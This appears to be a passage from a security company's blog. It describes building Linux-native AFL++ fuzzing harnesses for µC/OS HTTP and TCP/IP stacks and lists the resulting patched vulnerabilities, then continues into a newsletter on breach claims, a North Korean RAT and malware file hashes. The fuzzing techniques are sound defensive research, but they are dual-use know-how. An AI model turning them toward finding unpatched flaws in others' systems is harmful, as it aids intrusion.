        *p_err = RTOS_ERR_NONE;
        /* fake it and call the function */
        p_fnct(p_task_arg);
        return;
    }

**Networking port****Socket reads**

Much like the Linux port mentioned earlier, there is a network abstraction called NetSock within µC/OS's TCP/IP protocol suite which is like a POSIX socket in its functionality. For the purposes of this fuzzing project, my attention isn't on probing the underlying TCP/IP stack; instead, I'm focused on the µC/HTTP-server code. To ensure that the fuzzing input is fed directly to the µC/HTTP-server code without first passing through the TCP/IP code, I created a custom NetSock implementation. 

My ultimate goal for this fuzzer is to read network data from a file. However, it will simplify the testing and debugging process to use existing tools to send real network traffic to my application. Once my µC/HTTP-server application is working enough to load a web page in a browser, it shouldn’t be too difficult to redirect protocol data from a file. 

I decided to implement a NetSock to POSIX socket port. All that was required to do that was to call the POSIX counterpart within the NetSock API and return an appropriate µC/OS error code. Below is example code demonstrating receiving data from a socket:

    NET_SOCK_RTN_CODE  NetSock_RxData (NET_SOCK_ID          sock_id,
                                       void                *p_data_buf,
                                       CPU_INT16U           data_buf_len,
                                       NET_SOCK_API_FLAGS   flags,
                                       NET_ERR             *p_err)
    {
        *p_err = NET_SOCK_ERR_NONE;
        ssize_t recvLen = 0;
        recvLen = recv(sock_id, p_data_buf, data_buf_len, 0);
        if (recvLen < 0)
        {
            *p_err = NET_ERR_RX;
            return NET_SOCK_BSD_ERR_RX;
        }
        else if (recvLen == 0)
        {
            *p_err = NET_SOCK_ERR_RX_Q_EMPTY;
        }
        return recvLen;
    }
    

I then repeated this process for each of the NetSock_\* functions. I used the correct NetSock_\* function signature, called the corresponding POSIX socket function call and then returned an error code that was of the type NET_SOCK_RTN_CODE.

**File reads**

With my µC/HTTP-server application now properly responding to HTTP requests, the next step was to set it up for fuzzing by having the NetSock code read from a file instead of a real POSIX socket. There are a few different options of how to achieve reading from a file. The first is using a tool called libdesock. The way that file redirection works with this tool is that the library gets loaded by the Linux linker before other libraries by using LD_PRELOAD. This allows the libdesock library to intercept POSIX socket calls and redirect them to stdin and stdout. 

Since I was already well acquainted with modifying the NetSock code, another simple approach is to read from a file instead of calling recv within NetSock. To implement this, my µC/HTTP-server application takes a file name as an argument and stores a file pointer to that file in a global variable named curr_inputfd. Below is an example of “receiving” data from a file: 

    NET_SOCK_RTN_CODE  NetSock_RxData (NET_SOCK_ID          sock_id,
                                       void                *p_data_buf,
                                       CPU_INT16U           data_buf_len,
                                       NET_SOCK_API_FLAGS   flags,
                                       NET_ERR             *p_err)
    {
        ssize_t totalLen = 0;
    
        *p_err = NET_SOCK_ERR_NONE;
    
        totalLen = read(curr_inputfd, (char*)p_data_buf, data_buf_len);
    
        if (0 > totalLen)
        {
            /* return an error */
            *p_err = NET_ERR_RX;
            return NET_SOCK_BSD_ERR_RX;
            
        }
        else if (0 == totalLen)
        {
            /* we've read the whole file and we can leave*/
            *p_err = NET_SOCK_ERR_CLOSED;
        }
    
        return totalLen;
    }
    

It is important to note that the above code returns an error when the end of the file (EOF) is reached. This happens because NetSock_RxData is invoked within a processing loop, and the error serves as an indicator to the caller that this "socket" has been closed.

When fuzzing an application, it is crucial for the fuzzer to differentiate between a clean exit (normal program termination) and a crash. Additionally, the program should terminate after processing the fuzzed input. Therefore, I needed to make another code modification for fuzzing purposes, ensuring that the program exits after the file has been read and processed, resulting in a "normal" termination. 

Without this modification, the application would continue running in a processing loop, causing the fuzzer to mistakenly count this as a hang rather than a normal program termination, leading to false-positives for hangs.

By placing the exit in this location, it will be called during the typical execution flow of closing a connection. And, as noted above, when the error code NET_SOCK_ERR_CLOSED is returned from NetSock_RxData, it triggers the HTTPsConn_Close function, which subsequently terminates the program's execution.

**Memory errors**

A major benefit of porting my µC/HTTP-server application to run natively on Linux is that I can compile my application with AddressSanitizer. AddressSanitizer, or ASAN, is a compiler feature in GCC and Clang that can detect memory errors in C/C++. 

This can be a very valuable tool when used in conjunction with fuzzing to reveal software vulnerabilities. When ASAN is enabled, the application will crash when a memory error is encountered. 

Things like use after free, NULL pointer dereference, and buffer overruns will cause an immediate crash even if the test input would not have normally crashed the program. When ASAN causes a program to crash, it’s like an alarm bell going off for a vulnerability researcher (**“**Look over here, there are problems in this section of code!**”**). I wanted to use ASAN when running my fuzzer, but it didn’t work straight away for heap memory in my µC/HTTP-server application. This is because µC/OS provides its own heap implementation. 

ASAN works by tracking heap memory allocations made with glibc malloc, but my application doesn’t use malloc at all. The simplest solution that I produced was to add preprocessor macros to detect when the application was being compiled with ASAN and redirect the allocation to glibc malloc. Here’s an example of what I mean:

    void  *Mem_DynPoolBlkGet (MEM_DYN_POOL  *p_pool,
                              LIB_ERR       *p_err)
    {
    #ifdef __SANITIZE_ADDRESS__
        p_blk = malloc(p_pool->BlkSize);
        if (NULL == p_blk)
        {
            *p_err = LIB_MEM_ERR_POOL_EMPTY;
            return(DEF_NULL);
        }
        else
        {
            *p_err = LIB_MEM_ERR_NONE;
        }
        return (p_blk);
    
    #endif /*__SANITIZE_ADDRESS__*/

µC/OS provides developers the capability to define constraints on the heap's location and utilization with its specialized heap allocator. This feature is particularly useful in systems with limited memory, where developers require fine-tuned control over memory allocation. However, since my application is running on Linux, I'm not constrained by memory limitations, and I have access to the standard glibc malloc function. Simply calling malloc within Mem_DynPoolBlkGet  works because the caller of Mem_DynPoolBlkGet doesn’t care about the specific memory location of the pointer that's returned. Rather, it expects the pointer to reference a chunk of memory that's ready for use and meets the minimum size requirement. By making this minor adjustment to the code, I enabled the Address Sanitizer (ASAN) features I wanted, without affecting the rest of the application's functionality.

**Vulnerability highlight**

To this point, we’ve made strategic modifications to µC/OS code, creating a software-only fuzzing solution capable of running natively on Linux and accepting input from a file. The approach we discussed here has proven its efficacy by uncovering five unique vulnerabilities: TALOS-2023-1725 (CVE-2023-24585), TALOS-2023-1733 (CVE-2023-27882), TALOS-2023-1738 (CVE-2023-28379), TALOS-2023-1746 (CVE-2023-31247) and TALOS-2023-1843 (CVE-2023-45318).

When disclosing these vulnerabilities, I discovered that much of the µC/HTTP-server codebase is shared across multiple products. Other affected products are the Silicon Labs Gecko Platform and Weston Embedded Cesium NET. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:201, 119:281, 1:12685, 1:39908. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

The next installment of this series will describe the complexities of handling multiple requests per test case — an enhancement that holds the potential to reveal even more vulnerabilities.

Fuzzing µC/OS protocol stacks, Part 1: HTTP server fuzzing

This is the final post in the three-part series that details techniques I used to fuzz two µC/OS protocol stacks: µC/TCP-IP and µC/HTTP-server.

Wednesday, August 28, 2024 12:00

This is the final post in the three-part series that details techniques I used to fuzz two µC/OS protocol stacks: µC/TCP-IP and µC/HTTP-server. 

The first post highlighted code modifications necessary for developing a fuzzing harness tailored for the µC/HTTP-server. The second discussed a technique for delivering multiple requests per fuzz test case. Finally, I’ll detail the code modifications required for fuzzing the µC/TCP-IP stack. Please refer to the first post in the series for a description of Real-Time Operating Systems (RTOS) and the motivations for this research project. 

My goals in fuzzing µC/TCP-IP are the same as for µC/HTTP-server:

*   Use a modern fuzzing framework (I chose AFL++).
*   Modify the networking code to accept input from a file.
*   Handle multiple requests per test case.

Self-imposed constraints:

*   A software-only solution.
*   Run natively on Linux.

I wanted to find a straightforward way to fuzz this code without relying on emulation or dedicated hardware. 

**Linux port**

To utilize the AFL++ fuzzing framework, this code must run on Linux rather than µC/OS. This is a similar challenge I faced in Part 1. This time, however, I opted to use the POSIX KAL implementation that µC/OS provided rather than develop my own. This architecture diagram shows the layout of the various software components of µC/OS. The blue highlight represents the components I will be modifying to port the application to Linux. The orange highlight represents the code that’s the fuzzer’s target.

With my µC/HTTP-server fuzzing harness, I decided against using the provided POSIX KAL implementation. The µC/HTTP-server code I was targeting did not use many of the OS components, so it was simple to implement my own minimalist KAL interface. In contrast, the µC/TCP-IP implementation uses a separate task for receiving data and uses semaphores and message queues requiring a more complete KAL implementation. 

Using the code provided by µC/OS felt like taking a shortcut. It was painless and worked right out of the box with only minor modifications. That’s not something that I can say for working with the networking side of things, which required a lot of development.

**Network port ****TAP device**

My primary goal for the fuzzer is to enable it to accept network data from a file. To start, I adopted the strategy I used for my µC/HTTP-server, which involves ensuring my program functions with actual network data. Doing this initially allows for more straightforward debugging and testing of my code, as I can use standard Linux utilities to send real network traffic to my program.

It was a bit more complicated to get data from the network to be processed by µC/TCP-IP than it was for µC/HTTP-server. This is because TCP/IP is a lower-level protocol than HTTP. HTTP is an application layer protocol while TCP/IP is a transport layer protocol. Typically, user mode applications interact with the network at the application layer via POSIX sockets or a NetSock for µC/OS. 

In Linux, when using sockets, the kernel manages the TCP/IP processing and only delivers application layer data to the user mode application. However, my challenge was that my user mode µC/TCP-IP application is intended to handle the TCP/IP protocol itself. To bypass the kernel’s TCP/IP stack, I utilized a TAP device — a purely software-based kernel virtual network device.

Although this module is called µC/TCP-IP, it actually covers multiple layers of the OSI model. The layers circled in orange indicate layers of the OSI model for which the µC/TCP-IP module will process:

The µC/TCP-IP code is expecting to receive an Ethernet frame, and it includes handlers for ARP, IP, TCP and UDP. Because µC/TCP-IP is expecting to receive Ethernet frames, a TAP device should be used because it transfers Ethernet frames unlike a TUN device which transfers IP packets. 

A TAP device is meant to be used by user space programs that attach to it. When the operating system sends packets to a TAP device, they are delivered to the attached user space program. Conversely, packets sent by the user-space program to the TAP device are injected into the kernel network stack as if they originated from an external source.

To use a TAP device, I wrote my own Ethernet device driver using the API provided by µC/TCP-IP. I needed to create and configure my TAP device with the driver and implement functions to transmit and receive data. Again, µC/OS was great to work with for this because their API was well-defined and documented. Additionally, there are dozens of device drivers in the µC/TCP-IP repository for various ethernet hardware. Having all this example code and documentation was immensely helpful. In implementing this, I used the open-source tapip utility as a guide for creating and configuring a TAP device within my µC/TCP-IP Ethernet driver.  

The most confusing part of this was visualizing the network topology involving the TAP device. I created and assigned the TAP device an IP address of 10.10.10.1 and the Linux kernel assigned it a MAC address of 46:31:92:b0:48:5b. For remote communication, I'd need to create a network bridge, but for testing, local communication is adequate. The TAP device that I created is given the name tap0 and even shows up when running ifconfig: 

I also needed to assign my µC/TCP-IP application its own MAC and IP addresses, effectively creating another virtual Ethernet device. This adds a layer of complexity, as it's a virtual ethernet device operating through another virtual Ethernet device. Within the µC/TCP-IP application I've set up a virtual Ethernet device with an IP address of 10.10.10.64 and a MAC address of 12:12:12:34:34:34. This setup is a bit confusing because it's not externally visible in the Linux system — it's exclusive to the µC/TCP-IP application, as if the application were running on a separate machine, with the tap interface acting as the link between the Linux host and the µC/TCP-IP application.

To validate the functionality of µC/TCP-IP, I developed an echo server running on port 10001. To test my setup, I used the Linux utility netcat to establish a TCP connection to the µC/TCP-IP application. When traffic is sent from a linux application using tap0 and the mac or ip address of the µC/TCP-IP virtual interface is provided, it will be processed by my application. To send a test message and establish a TCP connection, I could execute a netcat command such as echo 'test' | nc -N 10.10.10.64 10001. Here, the netcat tool operates through a socket connected to the tap0 interface. This socket uses the Linux kernel TCP/IP stack which will first send an ARP request from tap0’s address to broadcast to learn the corresponding MAC address for that IP address. Then, the µC/TCP-IP application will receive that broadcast message, process the request, and respond with its own MAC/IP address pair. Then, a TCP connection will be initiated using the MAC/IP address pair of the µC/TCP-IP application. The image below was captured using Wireshark attached to the tap0 interface. 

The µC/TCP-IP application is not using sockets when interacting with the tap0 interface, instead, it uses a file descriptor to directly read from and write the device. The result is that the µC/TCP-IP application is writing packet data directly to the network without modification. The diagram below shows how each of these components work together to establish the TCP connection shown above. 

**File reads**

At this point, I’ve confirmed that my µC/TCP-IP echo server works using netcat. The next step for fuzzing is to modify the Ethernet driver to read from a file instead of the TAP device. Although my Ethernet driver isn’t using sockets, it is still possible to use libdesock because it overrides the read and write from libc. However, this required some code modifications in addition to using LD_PRELOAD with libdesock. First, I needed to create a socket descriptor that libdesock would redirect to stdin. Since the µC/TCP-IP application does not use sockets when interacting with the tap0 interface, I had to utilize a libdesock debug function, _debug_instant_fd, which provides a file descriptor that is automatically redirected to stdin. 

Typically, libdesock would redirect a file descriptor when accept is called, but since this is happening at a lower level, I needed to use the file descriptor that libdesock provided with the call to _debug_instant_fd. I used a compile time flag to create this libdesock file descriptor instead of creating a tap device for my fuzzing build:

    #ifdef DESOCK_FUZZ
        /* calling _debug_instant_fd for libdesock */
        fd = _debug_instant_fd(0);
        p_dev_data->tunFd = fd;
    #else
        /* Create TAP device */
    

Then, I needed to add code to terminate the µC/TCP-IP echo server once the last request was read from the file.

           ret = read(p_dev_data->tunFd, p_dev_data->RxDataPtr, p_dev_data->rxSize);
    …
    #ifdef DESOCK_FUZZ
            } else if (0 == ret)
            {
                exit(0);
            }
    #else
    	/* Continue processing */

After those code modifications, when we use LD_PRELOAD with libdesock, our application will read request data from stdin. By utilizing libdesock I immediately gained support for handling multiple requests because of that added feature. For more information on how libdesock works, refer to Post 2 from this series. 

**Memory errors**

I wanted to use Address Sanitizer (ASAN) with my fuzz application, as it is designed to detect many different types of memory errors like use after free, NULL pointer dereference and buffer overruns. The heap implementation used by µC/TCP-IP is different from that of µC/HTTP-server, but I was able to employ the same technique that I described in Post 1 from this series.

**Vulnerability highlight**

Now, we've successfully adapted the µC/TCP-IP code to develop a fuzzing solution that operates solely in software, is native to Linux, and can process inputs from a file. The approach we discussed here uncovered two unique vulnerabilities: TALOS-2023-1828 and TALOS-2023-1829. One of which is a result of fuzzing multiple requests at a time.

When disclosing these vulnerabilities, I discovered that much of the µC/TCP-IP codebase is shared across multiple products. Silicon Labs Gecko Platform is also affected by TALOS-2023-1828. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:201, 116:2 and 116:151.

**Conclusion **

Thank you for following along in this series about fuzzing µCOS protocol stacks. To recap, we created software-only fuzzing solutions for fuzzing µC/HTTP-server and µC/TCP-IP. The fuzzing solutions discussed here include the ability to run natively on Linux and accept input from a file. We also covered a feature contribution to libdesock which allows for multiple requests to be processed by the application in a single test case, resulting in more complex vulnerability findings. My hope is that the techniques described in this series will encourage others to fuzz other RTOS platforms to make these important systems more secure.

Below is a list of vulnerabilities that were disclosed because of this research presented in this blog series:

*   TALOS-2023-1725: Out-of-bounds write vulnerability
*   TALOS-2023-1726: Buffer overflow vulnerability
*   TALOS-2023-1732: Memory corruption vulnerability
*   TALOS-2023-1733: Heap-based buffer overflow vulnerability
*   TALOS-2023-1738: Memory corruption vulnerability
*   TALOS-2023-1746: Memory corruption vulnerability
*   TALOS-2023-1828: Denail of service vulnerability
*   TALOS-2023-1829: Double-free vulnerability
*   TALOS-2023-1843: Heap-based buffer overflow vulnerability

The following is a list of Snort rules that will detect exploitation attempts against these vulnerabilities: 119:201, 119:281, 1:12685, 1:39908, 119:203:1, 119:282:1, 116:2 and 116:151. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

Fuzzing µC/OS protocol stacks, Part 3: TCP/IP server fuzzing, implementing a TAP driver

In recent investigations, Talos Incident Response has observed the BlackByte ransomware group using techniques that depart from their established tradecraft. Read the full analysis.

BlackByte blends tried-and-true tradecraft with newly disclosed vulnerabilities to support ongoing attacks

It’s not unusual for a threat actor to exaggerate the extent of a hack or breach to drum up interest, and hopefully, the eventual purchase or ransom price.

Thursday, August 22, 2024 14:00

My current least favorite thing about the churn of social media that I’ve seen over the past week is waves of stories, posts and videos saying that every U.S. citizen’s Social Security number has been stolen or potentially viewed by a threat actor. 

The claim comes from a class action lawsuit filed on Aug. 1 against a data broker called National Public Data, claiming they failed to keep U.S. citizens’ Social Security numbers secure. A threat actor going by USDoD claimed in April that it had accessed a database that included information on every person in the U.S., Canada and the U.K.  

The lawsuit states that a breach at National Public Data resulted in the exposure of more than 3 billion personal records (a number that obviously surpasses the current population of the U.S.), including every Social Security number. That sounds scary, and many people took the statement as fact, running to create warnings that your Social Security number had definitely been breached and you needed to “TAKE ACTION NOW!” 

Except, the claim in the lawsuit is still unsubstantiated. This is not to say there was never a breach or that \*some\* public records weren’t stolen or accessed, but almost certainly not literally every single Social Security number. 

For starters, I used a tool from security firm Pentester that allows users to search for if their Social Security number, birthday, or other sensitive information may be in the NPD Breach. I searched for everyone in my immediate family, parents, and stepparents, and nothing turned up. I suppose it’s possible that for some reason just my family was exempted from the breach, but that seems unlikely. 

Reporters at TechCrunch have also viewed the allegedly stolen data, and determined much of the information was incomplete or incorrect, though some of it was legitimate. 

It’s not unusual for a threat actor to exaggerate the extent of a hack or breach to drum up interest, and hopefully, the eventual purchase or ransom price. Which is why I’m disappointed that so many people took off and ran with the claim that every American was affected by this breach. 

There are always steps we can be taking to better protect our personal information, so I don’t want to make it seem like we’re all totally safe and to just go about your business as usual. And if you do use the linked tool above and find that your information may be affected by the NPD breach, it could be a good idea to freeze your credit or keep a close eye on your bank account(s).  

But all the LinkedIn posts and viral videos claiming that every American’s had their Social Security number stolen only leads to more FUD. And it plays right into attackers’ hands: By spreading that FUD, it makes users more likely to fall for other scams that are trying to capitalize on the breach by sending phony scams around identity protection or offering new information on the allegedly stolen data.  

**The one big thing **

Cisco Talos has uncovered a new remote access trojan (RAT) family we are calling “MoonPeak.” This a XenoRAT-based malware, which is under active development by a North Korean nexus cluster we are calling “UAT-5394.” Our analysis of infrastructure used in the campaign reveals additional links to the UAT-5394 infrastructure and new tactics, techniques and procedures (TTPs) of the threat actor. This cluster of activity has some overlaps in TTPs and infrastructure patterns with the North Korean state-sponsored group “Kimsuky,” however, we do not have substantial technical evidence to link this campaign with the APT. 

**Why do I care? **

Either UAT-5394 is actually Kimsuky (or a sub-group within Kimsuky) and they are replacing QuasarRAT with MoonPeak. (We have observed UAT-5394 actively setting up and operating QuasarRAT C2 servers before they eventually adopted the use of XenoRAT and MoonPeak.) Or UAT-5394 is another group within the North Korean APT machinery that borrows their TTPs and infrastructure patterns from Kimsuky. Any actor potentially associated with North Korea is worth watching, as these groups are constantly trying to steal money, intellectual property or data on behalf of the state. So, any new developments in how state-sponsored actors work together is relevant to defenders and users alike. 

**So now what? **

Talos released a new Snort rule set that detects the new malware disclosed this week. The timelines of the consistent adoption of new malware and its evolution such as in the case of MoonPeak highlights that UAT-5394 continues to add and enhance more tooling into their arsenal. And the rapid pace of establishing new supporting infrastructure by UAT-5394 indicates that the group is aiming to rapidly proliferate this campaign and set up more drop points and C2 servers, so this is activity we’ll be continuing to monitor and update readers on. 

**Top security headlines of the week **

**A North Korean state-sponsored actor recently exploited a zero-day vulnerability that Microsoft patched earlier this month.** Security researchers say that actors connected to the Lazarus Group, the most prolific and well-known North Korean APT, actively exploited CVE-2024-38193. This is a use-after-free issue in AFD.sys, a binary file in what's essentially the kernel entry point for the Winsock API. The actors then installed the FudModule malware, which was first discovered in 2022. FudModule is more stealthy than other malware, finding additional and new ways to hide from detection. Microsoft disclosed and patched CVE-2024-38193 earlier this month as part of its regular Patch Tuesday update cycle. At the time, it was listed as a zero-day, meaning adversaries had exploited the issue in the wild before a patch was available. This was one of the six zero-days included in Microsoft Patch Tuesday this month. An attacker who exploits the vulnerability could obtain nearly full access to Windows and usually run untrusted code. (Ars Technica, PC World) 

**The FBI and other U.S. federal agencies publicly stated that Iran is behind recent cyber attacks targeting both major U.S. presidential campaigns.** A public statement warned that state-sponsored actors from Iran were trying to “stoke discord and undermine confidence in our democratic institutions.” Threat actors successfully breached an email account belonging to a staffer on former U.S. President Donald Trump’s campaign and leaked that information, though many major news outlets declined to publish any reports on the information because of the way in which it was obtained. “The \[intelligence community\] is confident that the Iranians have through social engineering and other efforts sought access to individuals with direct access to the Presidential campaigns of both political parties,” U.S. intelligence officials said in the statement. The presidential campaigns from the Democratic and Republican parties both said they received spear-phishing emails seemingly connected to the efforts. (Associated Press, BBC) 

**Nearly all Google Pixel devices since 2017 have been vulnerable to an exploit that exists in an otherwise dormant app.** Security researchers disclosed the vulnerability last week in Showcase.apk, a software package that exists on all Pixel phones and can be used to turn the devices into store demos for Verizon. Though details on the exact type of vulnerability are still unclear, a report from iVerify stated that the way the software operates fundamentally changes the way the Android operating system works, leaving Pixel devices susceptible to man-in-the-middle attacks or the installation of spyware. Google has since removed the software package from all devices, as it is no longer in use. A Google representative told Recorded Future that it had not seen any information indicating the software had been exploited, and that the hypothetical exploit requires the attacker to have physical access to the device and knowing the user’s device passcode. The app is not present on the Pixel 9, the newest line of phones Google unveiled this week. (Wired, The Record) 

**Can’t get enough Talos? **

*   How multiple vulnerabilities in Microsoft apps for macOS pave the way to stealing permissions 
*   Talos Takes Ep. #194: A 1-on-1 with Talos VP Matt Watchinski 
*   MoonPeak malware from North Korean actors unveils new details on attacker infrastructure 
*   Bug Leaves Microsoft Apps for MacOS Open to Silent Takeovers 
*   Multiple flaws in Microsoft macOS apps unpatched despite potential risks 
*   Multiple Microsoft Apps for macOS Vulnerable to Library Injection Attacks 

**Upcoming events where you can find Talos **

**_BSides Krakow_** **_(Sept. 14)_**  

_Krakow, Poland_ 

**_LABScon_** **_(Sept. 18 - 21)_** 

_Scottsdale, Arizona_

**_VB2024_** **_(Oct. 2 - 4)_**

_Dublin, Ireland_

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 70ff63cd695033f624a456a5c8511ce8312cffd8ac40492ffe5dc7ae18548668  
**MD5:** 49d35332a1c6fefae1d31a581a66ab46  
**Typical Filename:** 49d35332a1c6fefae1d31a581a66ab46.virus  
**Claimed Product:** N/A  
**Detection Name:** W32.Auto:70ff63.in03.Talos

**SHA 256:** db697b450d015ee948bb50d895acca3e27058b6d546d93212791b9f5ff31c0a3  
**MD5:** 391b3770ab60f9e535fbf3db70c89b04  
**Typical Filename:** vt-upload-o0OJb  
**Claimed Product:** N/A  
**Detection Name:** W32.Auto.db697b.181952.in01

**SHA 256:** a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0  
**MD5:** b4440eea7367c3fb04a89225df4022a6  
**Typical Filename:** Pdfixers.exe  
**Claimed Product:** Pdfixers  
**Detection Name:** W32.Superfluss:PUPgenPUP.27gq.1201

**SHA 256:** c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0  
**MD5:** 8c69830a50fb85d8a794fa46643493b2  
**Typical Filename:** AAct.exe  
**Claimed Product:** N/A  
**Detection Name:** PUA.Win.Dropper.Generic::1201

**SHA 256:** 161937ed1502c491748d055287898dd37af96405aeff48c2500b834f6739e72d  
**MD5:** fd743b55d530e0468805de0e83758fe9  
**Typical Filename:** KMSAuto Net.exe  
**Claimed Product:** KMSAuto Net  
**Detection Name:** W32.File.MalParent

No, not every Social Security number in the U.S. was stolen

Cisco Talos has uncovered a new remote access trojan (RAT) family we are calling “MoonPeak.” This a XenoRAT-based malware, which is under active development by a North Korean nexus cluster we are calling “UAT-5394.”